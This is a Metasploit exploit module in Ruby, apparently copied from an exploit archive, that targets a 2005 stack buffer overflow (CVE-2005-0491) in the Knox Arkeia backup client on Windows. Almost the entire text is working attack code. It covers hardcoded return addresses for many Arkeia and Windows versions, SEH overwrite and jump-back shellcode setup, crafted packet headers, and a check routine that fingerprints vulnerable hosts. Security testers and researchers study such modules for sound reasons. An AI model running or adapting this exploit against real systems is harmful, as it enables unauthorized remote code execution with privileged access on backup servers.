Knox Arkeia Backup Client Type 77 (Windows x86) – Remote Overflow (Metasploit)
## # $Id: type77.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Arkeia include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Arkeia Backup Client Type 77 Overflow (Win32)', 'Description' => %q{ This module exploits a stack buffer overflow in the Arkeia backup client for the Windows platform. This vulnerability affects all versions up to and including 5.3.3. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2005-0491' ], [ 'OSVDB', '14011'], [ 'BID', '12594'], [ 'URL', 'http://lists.netsys.com/pipermail/full-disclosure/2005-February/031831.html'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Targets' => [ ['Arkeia 5.3.3 and 5.2.27 Windows (All)', { 'Platform' => 'win', 'Rets' => [ 0x004130a2, 5 ] }], # arkeiad.exe ['Arkeia 5.2.27 and 5.1.19 Windows (All)', { 'Platform' => 'win', 'Rets' => [ 0x00407b9c, 5 ] }], # arkeiad.exe ['Arkeia 5.3.3 and 5.0.19 Windows (All)', { 'Platform' => 'win', 'Rets' => [ 0x0041d6b9, 5 ] }], # arkeiad.exe ['Arkeia 5.1.19 and 5.0.19 Windows (All)', { 'Platform' => 'win', 'Rets' => [ 0x00423264, 5 ] }], # arkeiad.exe ['Arkeia 5.x Windows 2000 English', { 'Platform' => 'win', 'Rets' => [ 0x75022ac4, 5 ] }], # ws2help.dll ['Arkeia 5.x Windows XP English SP0/SP1', { 'Platform' => 'win', 'Rets' => [ 0x71aa32ad, 5 ] }], # ws2help.dll ['Arkeia 5.x Windows NT 4.0 SP4/SP5/SP6', { 'Platform' => 'win', 'Rets' => [ 0x77681799, 5 ] }], # ws2help.dll ['Arkeia 4.2 Windows 2000 English', { 'Platform' => 'win', 'Rets' => [ 0x75022ac4, 4 ] }], # ws2help.dll ['Arkeia 4.2 Windows XP English SP0/SP1', { 'Platform' => 'win', 'Rets' => [ 0x71aa32ad, 4 ] }], # ws2help.dll ['Arkeia 4.2 Windows NT 4.0 SP4/SP5/SP6', { 'Platform' => 'win', 'Rets' => [ 0x77681799, 4 ] }], # ws2help.dll ['Arkeia 4.2 Windows 2000 German', { 'Platform' => 'win', 'Rets' => [ 0x74fa1887, 4 ] }], # ws2help.dll ], 'DisclosureDate' => 'Feb 18 2005', 'DefaultTarget' => 0)) end def check info = arkeia_info() if !(info and info['Version']) return Exploit::CheckCode::Safe end print_status("Arkeia Server Information:") info.each_pair { |k,v| print_status(" #{k + (" " * (30-k.length))} = #{v}") } if (info['System'] !~ /Windows/) print_status("This module only supports Windows targets") return Exploit::CheckCode::Detected end if (info['Version'] =~ /Backup (4\.|5\.([012]\.|3\.[0123]$))/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect print_status("Trying target #{target.name}...") head = "\x00\x4d\x00\x03\x00\x01\xff\xff" data = (target['Rets'][1] == 5) ? prep_ark5() : prep_ark4() head[6, 2] = [data.length].pack('n') begin sock.put(head) sock.put(data) sock.get_once rescue IOError, EOFError => e print_status("Exception: #{e.class}:#{e}") end handler disconnect end def prep_ark5 data = rand_text_english(4096, payload_badchars) data[1176, 4] = [target['Rets'][0]].pack('V') data[1172, 2] = "\xeb\xf9" data[1167, 5] = "\xe98" + [-1172].pack('V') data[0, payload.encoded.length] = payload.encoded end def prep_ark4 data = rand_text_english(4096, payload_badchars) seh = generate_seh_payload( target['Rets'][0] ) data[ 96, seh.length] = seh end end |